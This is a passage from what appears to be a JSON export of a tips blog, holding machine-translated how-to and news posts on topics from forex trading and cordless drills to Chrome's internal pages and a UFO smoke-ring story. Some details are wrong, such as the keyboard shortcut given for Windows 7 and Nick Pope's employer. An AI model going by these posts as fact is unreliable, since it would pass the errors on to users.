remote at least once a month or as soon as someone in your family is sick to avoid spreading germs.\nItems needed to clean the TV remote include cotton cloth, microfiber cloth (which cleans without scratching the surface), alcohol, cotton swab, toothpick (optional).\nThe steps to clean the TV remote control are as follows: Step 1: Remove the battery from the remote. Step 2: Dip a cotton cloth in alcohol and wipe the entire control surface. Step 3: Dip a cotton swab in alcohol and wipe carefully around all the buttons on the remote. Use a toothpick to remove any dirt stuck between the buttons, if any. Step 4: Use a microfiber cloth to wipe the remote again. After cleaning the TV remote clean, please store it in the box to prevent the device from coming into contact with bacteria, take it out when you use it.\nYou can apply this cleaning method to other types of controls such as air conditioner controls, fan controls, etc.\nIn addition, you can refer to some more tips, how to clean other objects in the house such as cotton swabs, cleaning calcium deposits on the bathroom glass wall, cleaning the blender.\nclean tv remote ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmLmmrc1mq69lopq6sMDE\n","link":"/post/steps-to-clean-tv-remote/","section":"post","tags":null,"title":"Steps to clean TV remote"},{"body":"In the beginning, a lot of novice traders choose to trade forex as a pastime rather than a full-time career. It's great until the money starts pouring in. As soon as they start generating money, many forex hobbyists decide to give up their day jobs and focus only on trading full-time.\nFor many part-time forex traders, the idea of becoming a full-time trader is a pipe dream. Isn't it wonderful to be able to travel the globe, run your own business, and earn a considerably larger salary? Before even thinking about trading full time, one should weigh the advantages and disadvantages of doing so, which are quite different from what is often shown on social media.\n  Advantages of Becoming Full-Time Forex Trader During the pandemics, the number of Forex traders increased drastically. The main reason behind this was that the majority of individuals stayed jobless and saw Forex trading as an alternative to generating money. Many of these people decided to become full-time Forex traders. Below are given some of the advantages of being a full-time forex investor.\nThe first and most apparent benefit is that you have more time to trade. It's difficult to make money in the Forex market when you're working full time and doing your regular chores at home. Full-time trading eliminates this problem since it gives you the full day to trade.\nIn order to trade during the busiest trading hours in Forex, full-time traders may pick a working day that includes a complete session or a full intersection of trading sessions. It is best to use pivot points and additional levels of support and resistance throughout the day. It is also worth noting that investors mostly use hedging in Forex trading, which allows them to make the trading process less risky. There are a lot of different levels you may track the trend through when you trade full-time. Many of the trading chances associated with daily pivot points are lost on part-time traders.\nThe discipline that comes from trading at the same time every day helps you to become a better organized and disciplined trader in all areas of Forex trading. Automated trailing stops are not supported by all Forex trading systems. Forex full-time traders may simply set trailing stop-loss orders manually if their trading strategy necessitates it.\nA complete trading day of 7-8 hours provides many more opportunities to initiate positions than just a few hours a day of random trading. You may want to consider looking at shorter time periods to see if you can uncover any further chances. In addition to that, many full-time Forex traders use several indicators, like currency strength indicator, in order to make their job easier and forecast future price changes. Full-time forex traders get their knowledge via trial-and-error, as well as their successes and failures. While you're not trading, take advantage of the downtime to brush up on your knowledge of the Forex market, go over your trading records, and peruse literature on the subject.\nThere must be a rapid response from a trader when vital Forex market news is released. The bulk of currency-related news may be reacted to instantly by a full-time trader.\nWhat To Consider As A Full-time Forex Trader Trading the markets full-time for a livelihood requires being realistic and honest with oneself about what is and is not doable given the size of one's trading account right now.\nIt's important to keep in mind that you'll have to set your ambitions a little lower than 'full-time trading' if you have a trading account of only $2,000 at this point. If you have a tiny trading account, you should plan to trade lower position sizes to understand that you can never risk more per transaction than you are comfortable losing. At least until you've built up your account, you'll have to trade smaller positions to control your risk.\nThere are several things that you need to know in order to become a full-time FX trader. You would think this step is obvious, but it's clear from the statistics that many traders have lost significant amounts of money and lack even the basic knowledge in Forex or trading in general. The Forex market exists for a reason, and it's important to know the basics of trading before you begin with real money.\nBeing a consistently winning trader requires mastery of just one trading setup. With enough screen time, you can learn how to use a single arrangement. Once you've perfected and \"owned\" one arrangement, you may go on to the next. Developing your own personal style is something that might take time and effort.\nIt's preferable to start with the most basic price action setup. You may be taking a longer road to profitability if you are forced to learn a system because you feel another person is successfully utilizing it. We are all unique individuals. Various configurations appeal to different parts of our minds and personalities. It's also true of exit strategies.\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZqyfYrCwutKim56qXam8bq7EnKamnV2WeqfBy6WroqWVYrOwvsSxZK2qkZmysw%3D%3D\n","link":"/post/things-to-consider-to-become-a-full-time-forex-trader/","section":"post","tags":null,"title":"Things to Consider to Become a Full-Time Forex Trader"},{"body":"Genuine battery drill is still the most popular product due to its high durability, strong drilling force and complete accessories. So what are the advantages of genuine battery drill? Should I buy the best battery drill model?\nAdvantages of genuine battery drill Battery drill with multi-function design: drilling and screwing will meet many purposes. Compact, light weight is also the advantage of battery drill. Adjust the tightening force to open the screw by hand easily. Included accessories such as rechargeable batteries, chargers and carrying cases. Using batteries should not cause entanglement, safer and higher mobility. Sturdy machine structure, smooth operation. Warranty period 3 - 6 months. Top 4 most used battery drillers today 1. Bosch GSB 120-LI battery powered screw drill - 2,090,000 VND Bosch drills use Li-ion batteries with 12V battery voltage, battery capacity is 1.5Ah. Machine with drilling mode helps you drill masonry, wood drilling, and steel drilling effectively. Drilling machine uses Auto Lock clamp head with grip clamp from 0.3mm - 10mm. The ability to screw with a maximum diameter of 7mm.\n  Specifications:\nBattery voltage: 12V Battery Type: 12V 1.5Ah Li-Ion Grip clamp range: 0.3 - 10 mm Maximum impact rate: 18,750 bpm Drilling diameter of masonry masonry: 8mm Maximum screw diameter: 7mm Maximum torque (difficult screw jobs): 28Nm Maximum torque: 11Nm No-load speed: 0 - 1,300 rpm Drill bit diameter: 10mm Wood drilling diameter: 19mm Steel drill diameter: 6mm 2. Battery drill MPT MCDT1213.B1 - 720,000 đ This is a series of battery drill from Chinese brand with affordable price but the feature is not inferior to well-known brands. MPT drills have a maximum drill bit diameter of 10mm. No-load speeds of up to 600 rpm help you to both screw and drill materials efficiently.\n  Specifications:\nBattery charging time: 3-5 hours Battery type: Li-ion Clamp head size: 10mm Battery capacity: 1300 mAh No-load speed: 0-600 rpm Brand: China Made in China Warranty: 6 months 3. Stanley SCD battery drill 20C2 12mm 18V - 2,250,000 VND This is a genuine battery drill from the US. Stanley drills are made of good and durable materials. On the body is stamped against fake goods to help customers feel more secure when buying goods. 18V battery voltage will provide stronger drilling force and screw force.\n  Specifications:\nBattery voltage: 18V Charging time: 75 minutes Battery Type: Lithium Battery Output power: 283W Clamp head size: 13mm Maximum torque: 29.4Nm Battery capacity: 1.3AH Voltage source: 220V - 240V No-load speed: 0 - 1,500 rpm, 0 - 350 rpm Size: 22cm x 20cm x 8cm Product weight: 2kg Accessories: Suitcase, 2 Li-ion batteries Brand: America Made in China Warranty: 6 months 4. Total battery screwdriver TDLI228120 - 999,000 VND Total TDLI228120 is equipped with 2 rechargeable batteries, the charging time only takes 2 hours. With two batteries you can change to use to help work happen continuously, ensuring work performance. Total drilling machine with a pair of 10mm diameter, screw up to 20Nm will screw on wood and steel very fast.\n  Specifications:\nCase material: Plastic Charging time: 2 hours Head pair diameter: 10mm Battery type: Li-on Maximum torque: 20Nm Voltage source: 220V - 240V / 50Hz No-load speed: 0 - 350 rpm; 0 - 1,500 rpm Brand: Germany Made in China Warranty 3 months Hopefully this article will help you get more suggestions before buying.\nWish you could choose a best battery drill!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02aioqaUYrynecGeqq1lkaOxbq%2FHnpipnaOpeqOt062cq7Fdmb%2BquMs%3D\n","link":"/post/what-kind-of-best-and-cheapest-battery-drill/","section":"post","tags":null,"title":"What kind of best and cheapest battery drill?"},{"body":"With the new leaked information, Genshin Impact gamers may be extremely surprised because the new skins when the two characters from the Mondstadt area are not what players expect. Accordingly, Diluc and Fischl have been introduced in the new leak and it is likely that two new skins will be released for these characters.\n  Diluc-loving gamers have been waiting a long time to be able to own a unique skin for this character. In addition, Fischl's fans are also extremely happy with the news that she will have the opportunity to retouch her beauty in the not too distant future.\n  Previously, the skin for Diluc was leaked during the Genshin Impact event in cooperation with fast food company KFC and it was probably close to the time this skin was released. Diluc-loving gamers are looking forward to this skin because it is a very prominent upgrade for this character. Diluc will have a completely new look in the style of butler and has received a lot of compliments.\n  Based on these leaks, Fischl will also receive a new skin of its own. Following the tradition of Genshin Impact, 4-star characters will all receive free skins, so many gamers hope this will also apply to Fischl. Otherwise, the player will have to complete certain tasks to unlock it.\nGenshin Impact ncG1vNJzZmismaXArq3KnmWcp51ktKa60qGgp2WZor2ir9Nmm6KkpZh6orrDZp2iq5OduW7DyKWjZpqVYsGpsYynnLGsXWd6pLTAq5icrJWnwG7DyK2fZqaVrHq0t8inqg%3D%3D\n","link":"/post/diluc-and-fischl-will-be-the-next-2-characters-with-new-skins/","section":"post","tags":null,"title":"Diluc and Fischl will be the next 2 characters with new skins"},{"body":"Camtasia Studio software is a specialized software that supports the computer screen recording, video editing and editing professionally .\nHowever, did you know that in Camtasia software there is also a pretty good function that is to create animations from videos, allowing you to create animations from any video on Youtube or videos you shoot extremely by yourself. simple.\nIf you do not know how to create animations from video with Camtasia, please follow my tutorial!\n1. How to create animations from videos with Camtasia // This article is done on Camtasia 2019, other versions you do completely similar.\nTo create animations from videos with Camtasia Studio software, you follow the steps below:\n+ Step 1: Insert the video you want to create an animation for, by going to Media =\u0026gt; selecting Import Media .\nNote: You should only create animations from short videos only, if it's too long, usually people leave the video format, but few people create animations.\n  + Step 2: After inserting the video into Camtasia software =\u0026gt; next, right-click the video =\u0026gt; then select Add to Timeline at Playhead to add the video to the Timeline bar.\n  If the video is too long, while you only want to take a short part of the video (about a few seconds), then you cut all the other clips and delete them all, keeping only the part of the video you want to animate. Come on!\nIf you do not know how to cut the video, please read this article again: Basic knowledge when using Camtasia Studio 2019, 2020 .\n+ Step 3: After finishing processing the video then =\u0026gt; next go to Share =\u0026gt; choose to go to Local File .\n  + Step 4: Select Custom production settings =\u0026gt; and click Next.\n  + Step 5: Since we are looking to create an animation, the format that we will need to choose is GiF - animation file =\u0026gt; click Next to continue.\n  + Step 6: Next is to choose how many frames per second, here I will choose at the highest level ie 30 frames per second. The higher the selection, the smoother the motion picture will be, but the heavier the capacity will be.\nNote: If you use lower versions of Camtasia such as: Camtasia 8, Camtasia 9, then you should leave Automatic mode to let the software adjust itself for the best fit.\n  In addition, you can also preview how the exported animation will run by clicking on Preview current settings in the Preview section to preview it.\nIf you do not want to preview, you click Next to continue.\n  2. Resize the animation + Step 7: In this step, Camtasia software will automatically take the size of the video to make the size for the animation.\nHowever, if you want to change the size of the animation, you can tick Custom =\u0026gt; and then enter the size you want to change in Width and Height.\n  Also here I want to keep the size of the video, so I will choose Curent =\u0026gt; and click Next to continue.\n  + Step 8: If you want to add some information to the animation, choose the Option in the Video Info section.\n  Then enter the information in turn .\n  3. Copyright stamped animations And if you want to copyright this animation, please check the box Include Watermark =\u0026gt; then click on Option.\n  Next you choose the path to the image you want to copyright, if you want to edit the effect of the image, you can adjust it in the Effects, Image Scale…. =\u0026gt; Then click OK to confirm.\n  If you do not want to edit the information, or you do not want to copyright your animation, click Next to continue.\n  + Step 9: Name the animation in the Production name, and choose the location to save the image in Folder. After selecting, click Finish to export the image file.\n  Then your GIF animation will start to be rendered, wait until the rendering is complete, you go to the location to save the file to get the animation.\n  Yes, so in this article I have very detailed instructions show you how to create animations from videos using Camtasia Studio software. Hopefully this little trick can help your work. Hope you are succesful !\nNote: In addition to this article, you can see the full series of manuals of Camtasia Studio if you want to understand more deeply about this software.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapaKlkam2sLrSZp2rp51iw6qwxKiqZq2jnruoecKapK2Zo56ubr%2FOn6uwmaKa\n","link":"/post/how-to-create-animations-from-videos-using-camtasia-software/","section":"post","tags":null,"title":"How to create animations from videos using Camtasia software"},{"body":"All our activities on Facebook are stored by the system in case we need to use them. However, not everyone likes the fact that Facebook stores search history because unfortunately other people borrowed their Facebook nick, they will see all the content we searched before. On Facebook also offers a clear history search feature for those who prefer privacy. In this article, Software Tips will guide you how to delete search history and activity on Facebook.\n  1. How to clear search history and activity on Facebook by phone Step 1: Open the Facebook application and select the Search icon . Then you select Edit .\n  Step 2: Here, you will see your search history. You can select Delete searches to delete all or select the X next to each search to delete each search one by one.\n  2. How to clear search history and activity on Facebook by computer Step 1: You proceed to access the personal page and select Activity log .\n  Step 2: Then, you select Search History on the Menu bar.\n  Step 3: You select Delete searches to delete all search history.\n  If you want to clear certain search histories, select the Forbidden icon next to the search history and select Delete .\n  In this article, Software Tips showed you how to clear search history and activities on Facebook quickly and effectively. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYysnJqqk516qbXSraarsV2Wu6V5wJyroq6ZqcZuu81mnZqblZe8sLc%3D\n","link":"/post/how-to-delete-search-history-and-activity-on-facebook/","section":"post","tags":null,"title":"How to delete search history and activity on Facebook"},{"body":"Warehouse wallpaper available on iPhone does not really meet the requirements especially for those who want to get unique for the device. Therefore, many people have installed some additional wallpaper downloading applications such as Flow Wallpapers.\nFlow Wallpapers download application brings you unique dynamic wallpaper store, which automatically lights up when we turn on the device lock screen. This effect will only take place during the time we unlock the screen. The following article will guide you how to download wallpapers on Flow Wallpapers.\nInstructions to download iPhone wallpapers on Flow Wallpapers Step 1:\nUsers download Flow Wallpapers for iPhone by following the link below. Application only suitable from iOS 11 and above.\nDownload the Flow Wallpapers iOS app Next in the application interface swipe left or right to search for the wallpaper you want. To download wallpapers click on the download icon below. You then need to agree for Flow Wallpapers to add photos to the Album .\nStep 2:\nAfter downloading the wallpaper we access the Settings , select Wallpaper . Next, click Choose new wallpaper .\nStep 3:\nNext click on the photo album on the device and then select the wallpaper that we download from Flow Wallpapers to install for the device. Next, click on Settings and select the installation location as the device's wallpaper.\nWith the Flow Wallpapers app, you have more new wallpapers to install on your iPhone. In general, the wallpaper effect that Flow Wallpapers brings is relatively simple.\nSee more:\nHow to set dynamic wallpaper on iPhone How to change the iPhone wallpaper itself over time How to create iPhone wallpaper for each page separately How to create a screen lock screen for your phone Hope this article was helpful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqmmaKutbHDZqCpoJ%2Bjsm7DwKWjqZmgmr%2B0ec6nZJ%2Bkn6x6uK3LpaeaqJWnwA%3D%3D\n","link":"/post/how-to-download-animated-iphone-wallpapers-on-flow-wallpapers/","section":"post","tags":null,"title":"How to download animated iPhone wallpapers on Flow Wallpapers"},{"body":"Product key contains random characters used to activate copyrighted software products, including Windows. Windows 7 product key has 25 characters and is not difficult to find.\n1. Look on the COA label If you buy a computer with Windows 7 pre-installed, the Product key information will be printed on the COA label. The COA label is a Certificate of Authenticity. Usually, the COA will be stuck on the top, bottom, or any edge of the computer.\nThe COA label will tell you which version of Windows your computer comes with and which product key comes with it.\n  Check the Windows 7 disc box If you bought Windows 7 as a CD, look for the product key on the label or card inside the box.\n  3. Search for the payment verification email In the case of buying Windows 7 online, check to see if there is a verification email. Normally, the product key will be sent with an email confirmation when the payment is successful.\n4. Contact the computer manufacturer If you bought a computer with Windows 7 pre-installed but lost the COA label, you can contact the computer manufacturer to get the product key again.\n5. Use Command Prompt You can only use the Command Prompt to find the product key in case your computer is installed with Windows 7 and you want to save that product key. Here's how to do it:\nPress Windows + X to open the Power User menu Press A to open Command Prompt as an administrator Type or copy and paste the following into the Command Prompt and press Enter wmic path softwarelicensingservice get OA3xOriginalProductKey After the command is executed, the product key will be displayed   6. Use a third-party app Besides the aforementioned ways, you can also find Win 7 product key using third-party applications.\u0026nbsp;\nWish you success and invite you to consult other useful tips on TipsMake\nfind the Windows 7 product key ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FuwMeeZKmqn5nCpMCMpJyyZZ%2Bberi1zZ2msKtdbA%3D%3D\n","link":"/post/how-to-find-the-product-key-of-windows-7/","section":"post","tags":null,"title":"How to find the product key of Windows 7"},{"body":" This wikiHow teaches you how to import and add 3D models and objects from saved files to a Blender project, using a computer. You can import a variety of file formats to a Blender project, or import a single object from a blend file. Open...\nMethod 1of 2:\nImporting Files  Open Blender on your computer. The Blender icon looks like a blue dot inside an orange circle with three arms. You can find it on your Start menu on Windows or in your Applications folder on Mac.\n  Click the File menu on the top-left. You can find this button on Blender's menu bar in the upper-left corner. It will open a drop-down menu.\n  Hover over Import on the menu. A sub-menu will pop up with a list of the compatible file formats.\n  Select the format of the file you want to import. This will open Blender's file navigator, and allow you to select the file you want to import. Each of the following formats are supported: Collada (.dae) This is the default format. 3D Studio (.3ds) FBX (.fbx) Motion Capture (.bvh) Stanford (.ply) Wavefront (.obj) X3D Extensible 3D (.x3d/.wrl) Stl (.stl) Scalable Vector Graphics (.svg)   Find and select the file you want to import. Use Blender's file navigator panel to find your file, and click on its name.\n  Click the Import button. You can find it above the Cancel button in the upper-right corner. This will instantly import and open the selected file in Blender.\n Method 2of 2:\nImporting Individual Objects  Open Blender on your computer. The Blender icon looks like a blue dot inside an orange circle with three arms. You can find it on your Start menu on Windows or in your Applications folder on Mac.\n  Click the File menu. This button is located on a menu bar in the upper-left corner. It will open a drop-down menu.\n  Click Append on the File menu. This will open a new menu panel, and allow you to navigate the files on your computer to select the object to import. Alternatively, press ⇧ Shift+F1 on your keyboard. This keyboard shortcut will open the Append menu.   Find and click the blend file you want to import from. Use the file navigator in the Append window to find your blend file, and click on it to view its components.\n  Click Object. You'll see a list of categories of things that are inside this blend file. You can find all the objects in the Object folder here.\n  Select the object you want to import. Click on the object's name in the Append window to select it.\n Click the Load Library button. This button is in the upper-right corner of the Append window. It will import the selected object, and add it to your current project.\n   Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGdpbyzwIympp2dnKh6qrrTqGSbpJWjsaa%2BjKilZqiTYryzecyamg%3D%3D\n","link":"/post/how-to-import-models-into-blender-on-pc-or-mac/","section":"post","tags":null,"title":"How to Import Models Into Blender on PC or Mac"},{"body":"Raspbian is the number 1 operating system on the Raspberry Pi. It makes the tiny Raspberry Pi feel like a full-sized computer, allowing users to access web browsers, gadgets and even games.\nBut Raspbian doesn't support every existing show, and Spotify fans will be disappointed to learn that the Raspberry Pi can't play Spotify in the Chromium web browser.\nLuckily, you can make a few tweaks to get Spotify working on the Raspberry Pi and play music via the choice of HDMI connectivity or headphone jack. Here's how to listen to Spotify on the Raspberry Pi.\nHow to listen to Spotify on Raspberry Pi Step 1: Install Raspbian   This whole project takes place on Raspbian, so grab the disk image and put it on the microSD card. You can do this using the standard procedure for installing any operating system on your Raspberry Pi.\nAfter installing Raspbian, you will have a great operating system that you can use to perform basic computer functions (like word processing, web browsing, etc.) or as a starting point. head for any Pi project that uses Raspbian as a base.\nBut one thing you won't be able to do is use the included Chromium web browser to access Spotify's web player. If you try, you will have to redirect or get a message saying 'Playback of protected content is not enabled'.\nStep 2: Open Chromium and add the extension User-Agent Switcher for Chrome You will use this utility to 'trick' the website you want to use into thinking you are running one of the supported browsers, although it is not.\nStep 3: 'Pretend' is using Internet Explorer 10 Now, you just need to select your new 'user agent' before trying to access Spotify's web player. Internet Explorer 10 should work, so go ahead and do it: Navigate to Internet Explorer\u0026gt; Internet Explorer 10 under User-Agent Switcher for Chrome settings.\nStep 4: Listen to Spotify through the headphone jack or HDMI connection   If you are satisfied with using the headphone jack, complete here! Now, the awesome Spotify doesn't know that you're using a Chromium web browser and should be fine.\nBy default, this project will output the audio to the Raspberry Pi's headphone jack (instead of the HDMI port), which means you'll have to plug in an extra cord or headphones to enjoy your tunes. However, everything looks perfect when connected to a larger stereo system!\nIf you want to use an HDMI connection instead, there's only one simple step left to do. In Terminal, run the command:\nsudo raspi-config This will give you a menu in the Terminal window. Navigate to Advanced Options\u0026gt; A4 Audio\u0026gt; Choose the audio output: 2 Force HDMI.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSZqMGmuoytpmaroKTBqrLYZqanZaKWwLGuxKupsmWgng%3D%3D\n","link":"/post/how-to-listen-to-spotify-on-raspberry-pi/","section":"post","tags":null,"title":"How to listen to Spotify on Raspberry Pi"},{"body":"Have you ever thought about how to replace a hard drive for a laptop? easy or difficult? Of course this is an easy task, and it requires the technician to do the job meticulously.\n  Here is my basic guide on how to replace the hard drive for Laptop. Invites you to read the track.\nBack up data: Before proceeding to replace the hard drive for a laptop, you need to back up the old data to an external storage device so that after completing the replacement of the hard drive, you can copy them to the new drive. To make backups fast and complete, you can use software such as Acronis True Image , Norton Ghost , One Key Ghost , . to create images of system drives and other drives.\n  If you use an SSD instead of a HDD on a laptop, you can use the included utilities to perform backups and move data. For example, Intel's SSD, comes with Intel Data Migration software to make it easy for users to automatically transfer all data from the HDD to SSD.\n  Basic operation: After the data has been backed up, we perform the following basic disassembly operations as follows: Turn off the computer and unplug the laptop's power plug. Wait about 15-20 minutes for Laptop to completely stop radiating heat. Remove the battery from the device. Put the laptop upside down on a flat table surface in good lighting conditions and be lined underneath by a clean sheet to avoid scratching the surface of the machine. Proceed to determine the location of the hard drive ( cylindrical cylinder icon (or figure three overlapping discs ) and observe the locations of its screws .   Now proceed to remove the screws in the location around the hard drive and place these screws in a safe place.   After opening the hard drive's outer protective cover, we continue to look for and remove the hard drive fixing screws into the body. Then we proceed to remove the hard drive from its location, remember to manipulate gently and carefully.   Ok, after you've finished removing the hard drive from the laptop, we proceed to carefully put the new hard drive in and fill the screws in place.   That's it, replacing the new hard drive for the laptop, now let's restart the computer and use the Windows installation disk to reinstall the operating system. You can then restore the previously backed up data with software like Acronis True Image, Norton Ghost, One Key Ghost, etc. above.\nNote: Depending on the different laptop models, there may be different steps to remove, the above instructions are for basic purposes only.\nHope this article will be useful for you. Wish success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVpbmir8Rmn5qqlGKxs7XVnmSfp6JiuaK806in\n","link":"/post/how-to-replace-hard-drive-for-laptop/","section":"post","tags":null,"title":"How to replace hard drive for Laptop?"},{"body":"Phishing email is a seemingly legitimate email, but it was created to steal personal information, such as account numbers, usernames, PINs or passwords. If you provide this information, hackers may have access to a bank account, credit card or information stored on a website.\nWhen you see one of these threats, don't click on anything in the email. In Outlook.com, report the phishing email and ask the Outlook.com team to take action to protect you and other users.\nNote : The instructions in this article apply to Outlook.com and Outlook Online.\nReport phishing emails in Outlook.com To report to Microsoft that you have received an email in Outlook.com trying to trick readers into disclosing personal information, usernames, passwords, and other sensitive information:\n1. Select the phishing email you want to report.\nSelect the phishing email you want to report 2. Go to the Outlook toolbar and select the Junk drop-down arrow .\n3. Select Phishing.\nSelect Phishing 4. You will receive a confirmation message. Select Report to send Microsoft a phishing email notification. Or select Don't report if you do not want to notify Microsoft.\nSelect Report or Don't report 5. Email is moved to Junk Email folder .\nNote : Marking a message as phishing does not prevent other emails from that sender. To prevent future emails from this unwanted sender, add the sender to the blocked senders list.\nHow to protect yourself from phishing Businesses, banks, reputable websites and other organizations will not ask you to submit personal information online. If you receive such a request and are unsure whether it is legal or not, contact the sender by phone to see if the company sends emails.\nSome phishing emails are 'amateur', filled with grammar and spelling errors, so they are easy to spot. However, some emails contain identical copies of familiar websites (like your bank), leaving you unsuspecting and responsive to requests for information.\nThe usual safety steps include:\nDo not respond to emails asking for personal information. Do not open or download attachments in suspicious emails. Do not click on any links that appear in emails. Search the web for email subject lines. If it was a hoax, others may have reported it. Especially suspicious emails with subject lines and content include:\nRequest verification of your account immediately or the sender will close it. Request a large sum of money in exchange for account information. Notice that you are a lottery winner that you do not remember participating. Get emergency financial help from a friend on vacation. Threatening to be unlucky if you don't answer. Notice that your credit card has been hacked. Email forwarding required to receive $ 500. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVpbyzwIypn6KrmJ67qHnEppiipKNitq95zq6rpaefoLCwuQ%3D%3D\n","link":"/post/how-to-report-phishing-emails-in-outlook-com/","section":"post","tags":null,"title":"How to report phishing emails in Outlook.com"},{"body":"Just a few days after its launch, Huawei P40 Pro has suddenly climbed to No. 1 on DxOMark's smartphone camera rankings, beating OPPO Find X2 and Xiaomi Mi 10 Pro. With a total score of 128, P40 Pro is rated by DxOMark as the best smartphone capable of taking photos today.\n The P40 Pro is Huawei's latest flagship product, inheriting the success of its predecessor P30 Pro, introduced last year. The phone is equipped with a 50MP main sensor with a large size of 1 / 2.8 \", has a Quad-Bayer structure with the ability to combine 4 pixels into 1 to create a 12MP sensor with better light capture capability. in dark conditions.\nAccording to DxOMark, Huawei P40 Pro has a total score of 128, including 140 points for photography and 105 points for video recording. These are all the highest scores ever on the DxOMark ranking, leaving the devices in second place, Find X2 and Mi 10 Pro, up to 4 points, as well as a higher camera score. 5 points better than Mate 30 Pro (currently in 4th place).\n DxOMark appreciates the ability of the Huawei P40 Pro to take photos with a wide dynamic range camera, images with impressive detail even when shooting in portrait mode. In addition, it also has the ability to autofocus fast and accurate, take good photos in low light conditions, as well as impressive 5x optical zoom.\n The ultra wide-angle camera produces photos with good detail and low noise, but the minus point is that the field of view is still quite narrow.\n The ability to keep fine details in both bright and dark areas.\n Backlit photos show very wide dynamic range, good light balance.\n True color display.\n Image zoom up still retain good detail, reasonable noise reduction.\n Photo taken at night without the flash.\nWhen it comes to video recording, the P40 Pro is highly rated for its color reproduction, anti-shake, wide dynamic range and impressive focusing capabilities. In addition, this phone can also record 30fps and 60fps videos at Full HD 1080p and 4K resolution using the main camera.\nOverall, the Huawei P40 Pro is capable of capturing impressive images, with high levels of detail, wide dynamic range, and fast autofocus. However, sometimes there are still problems with white balance, underexposure and lack of details.\nncG1vNJzZmismaXArq3KnmWcp51ktbat1p6gZqhkZXqxvs5mmpqllaeubrjEmpusZZStvK6t0aRkn5miYq6pscCdZKieXae2t63LrA%3D%3D\n","link":"/post/huawei-p40-pro-camera-leads-dxomark-far-ahead-of-rivals/","section":"post","tags":null,"title":"Huawei P40 Pro camera leads DxOMark, far ahead of rivals"},{"body":"TipsMake.com - In the previous article, we introduced you to some of the technical features of Firefox 's about page , and this time we will continue to learn about the same page system of the browser. Chrome, that's chrome: //\nChrome: // About In chrome: // about this page contains a lot of URLs that lead to different pages, many of which you can open through Chrome's main menu, such as chrome: // bookmarks is the management page. bookmark, chrome: // settings is Chrome 's corresponding Options page:\n  Besides, there are a few special URL paths used for debugging located at the bottom of the page. For example, type chrome: // kill in the Address box to turn off the open tab:\n  Chrome: Flags Chrome: // flags , or chrome: // labs pages can be considered the most interesting part of Chrome. Almost all of the features here have not been activated and used in the default mode, and Google also recommends that users be absolutely careful when tampering and editing technical attributes. here. These internal features are related to security, management policies, and stability, but may result in data loss. So consider carefully before deciding to use!\n  New features are usually enabled here before they are enabled via the default mode. For example, users can enable the Enable NTP Bookmark Features option to add a bookmark section to Chrome's new tab. The new bookmark manager has not been enabled in Chrome 16 yet, but will definitely be changed in subsequent versions.\n  Chrome: Sessions Another feature is hidden inside chrome: // flags as Enable Syncing Open Tabs , with the main effect being to add the Open Tabs option in Chrome 's Sync Settings section:\n  After activation, we will see a list of browser sessions in the chrome: // sessions.\n  However, this feature is already available in default mode and displayed on Chrome's main interface.\nChrome: // Memory and Chrome: // Tasks In chrome: // memory , users will know more about Chrome's memory usage information, specifically for the extension and associated applications. In case there are other browsers running, such as Mozilla Firefox or Internet Explorer , it will also display the usage of those browsers.\n  Besides, you can open chrome: // memory page by clicking on the link Stats for nerds at the bottom of the Task Manager window of Chrome, right-click on Chrome's title bar and select Task Manager or type chrome : // tasks into new tab:\n  Chrome: // Net-Internals On the other hand, the chrome: // net-internals page will show all the information and tools that support managing, monitoring and diagnosing connection problems. Support the ability to 'capture' network packets, analyze and save reports to files for future use.\n  However, most of the tools here are not suitable for normal users, but the Tests section is different. If a website is inaccessible, enter the site's address in the Tests page and Chrome will determine the exact problem for you.\n  Chrome: // Crashes In the chrome: // crashes section , the browser will list all the most recent errors. However, we can only see this error if Automatically send usage statistics and crash reports to Google options are enabled under Under the Hood of Chrome Settings .\n  Chrome: // Tracing Chrome page : // tracing is actually a tool being developed to allow users to analyze Chrome 's performance. Just press the Record button and Chrome will start working:\n  When this process is complete, we can easily know what activities are taking place and take up much of the system's hardware time and resources.\n  Besides, there are many other sites like, chrome: // flash showing information about flash plug-in, chrome: // sync-internals will show the process of syncing data of Chrome. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFur8erpqadXZi1s7vMnmSpmZea\n","link":"/post/learn-about-chrome-chrome-page/","section":"post","tags":null,"title":"Learn about Chrome: // Chrome page"},{"body":"A black circle appeared in the sky, shaped like a trail of UFOs and was up to tens of meters in size, taken in Birkenshaw, Yorkshire, and the United States, causing controversy about its origin.\nThe mysterious places on Earth involve aliens The surprising truth behind the strange circles under the ocean startled the scientists   There are many hypotheses given as black circles that are traces of an alien flying saucer, or a portal to another dimension or a mysterious natural phenomenon that humans not found .\nBut the truth is.\nUFO, not. Some mysterious natural phenomenon, not always. According to Nigel Watson, a famous author, the black smoke ring was a trace left after firing a cannon during the nearby Yorkshire Wartime war reenactment.\nWhen a cannon was fired, a swirl was created by the disturbance of the air around the barrel and in the gun. Then, the black smoke from the gunpowder curled up and flew up, forming a circle in the sky as we saw it.\n  Nigel Watson's explanation also received the approval of Nick Pope, one of the UFO experts at the US Department of Defense.\nAccording to Nick Pope, we can easily create such smoke circles if we want, just let the air flow through a circular cylindrical structure.\n Black circle in Kazakhstan in 2015.\nIn 2016, at Disneyland and in Kazakhstan, 2015 also recorded some mysterious black circles in the sky. But then, this phenomenon is not explained, leading to the emergence of a series of alien-related hypotheses.\nCurrently, the mystery of the mysterious black circle in the sky has the answer, by firing cannons, or from some 